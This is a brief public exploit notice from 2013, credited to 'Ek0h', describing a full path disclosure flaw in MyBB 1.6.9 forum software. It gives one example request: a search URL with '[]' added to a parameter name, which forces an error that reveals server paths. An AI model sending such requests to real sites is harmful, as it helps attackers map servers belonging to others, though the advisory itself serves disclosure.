#  ______ _     ___  _
# |  ____| |   / _ \| |
# | |__  | | _| | | | |__
# |  __| | |/ / | | | '_ \
# | |____|   <| |_| | | | |
# |______|_|\_\\___/|_| |_|
#                   Security
#
# Exploit Title: Mybb 1.6.9 - Full Path Disclorure
# Date: 15/04/2013
# Exploit Author: Ek0h
# Vendor by: mybb.com/downloads
# Version: 1.6.9
# Category: Web Security
# Tested on: Windows 7 (Firefox 20.0.1)
# Contact: ek0h.security (Skype)
+--------------------------------------------------------------------------+
FPD Vulnerability

Just add [] before the variable

Ex:
http://www.site.com/search.php?action[]=

Enjoy's

#                 World-hacking.eu [2013-04-15]                #